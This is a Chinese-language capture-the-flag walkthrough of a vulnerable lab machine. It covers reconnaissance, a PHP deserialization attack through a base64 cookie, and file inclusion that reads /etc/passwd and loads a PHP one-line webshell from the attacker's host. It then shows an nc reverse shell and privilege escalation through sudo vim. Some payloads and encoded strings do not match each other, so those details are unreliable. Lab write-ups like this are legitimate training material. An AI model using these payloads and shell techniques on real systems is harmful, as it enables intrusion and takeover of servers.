目录
一、信息收集
1.探测主机存活(目标主机IP地址)
2.访问web服务
3.后台目录和端口扫描
4.解析bak.zip源码
二、漏洞利用
1.构造payload
2.通过bp的repeater模块
3.get shell
4.获取反弹shell
三、提升权限
1. 查看系统版本,内核版本。
2. 查看根目录发现存在敏感文件credentials.txt.bak。
3.打开查看是用户名和密码,SSH登录。
4.刚才查看了版本,暂时找不到可提权的漏洞,那么,我们尝试找一下当前用户可执行与无法执行的指令,可以看到vim编辑器对所有用户NOPASSWD。
5.尝试提权,试试sudo vim,进入到命令模式输入!bash。
6.提权成功
一、信息收集
1.探测主机存活(目标主机IP地址)
2.访问web服务
1.首先访问80端口,页面只有一行文本:Hello sk4This is a beta test for new cookie handler,在首页中并未有任何有价值的信息
3.后台目录和端口扫描
开启80和22端口说明可能用到远程连接。
经过扫描后我们我们尝试访问扫描结果对应的目录,结果发现在/backup目录下存在压缩包
4.解析bak.zip源码
下载解压后,存有三个php文件
整理思路: 首次访问网站后,后台会创建一个user对象,并且内部又为wel变量创建welcome对象,同时进行序列化base64编码存入cookie,我们抓一下页面的包,发现cookie。
这里的cookie便是后台通过base64编码后的结果
使用base64解码后得到的结果
O:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";O:7:"Welcome":0:{}}7
二、漏洞利用
1.构造payload
由于空格在url地址中无法识别,所以将所有空格转为8进制\x00 同时由于文件包含参数为type_log,所以内容应为文件路径
O:4:“User”:2:{s:10:“\x00User\x00name”;s:3:“sk4”;s:9:“\x00User\x00wel”;O:3:“Log”:1:{s:8:“type_log”;s:11:“/etc/passwd”}}
编码后的payload如下:
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6MTM6IgBMb2cAdHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ==
2.通过bp的repeater模块
成功访问到信息,可以看到sk4用户属性为/bin/bash
3.get shell
1.构造序列化语句上传shell
<?php @system($_GET['cmd']);?>
2.然后构造payload:
O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:26:"http://本地IP/c.txt";}}
然后进行序列化和base64编码执行。代码如下:
<?php
class Log {
private $type_log = "http://192.168.3.222/c.txt";
}
class User {
private $name = "admin";
private $wel;
function __construct() {
$this->wel = new Log();
}
}
$obj = new User();
echo base64_encode(serialize($obj));
64编码后的payload:
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MjU6Imh0dHA6Ly8xOTIuMTY4LjU2LjEvc2hlbGwudHh0Ijt9fQ==
3.用burpsuite上传
成功执行一句话木马
4.获取反弹shell
直接使用nc工具来尝试回弹一个shell
在kali中使用nc监听7777端口等待靶机访问
成功回弹!!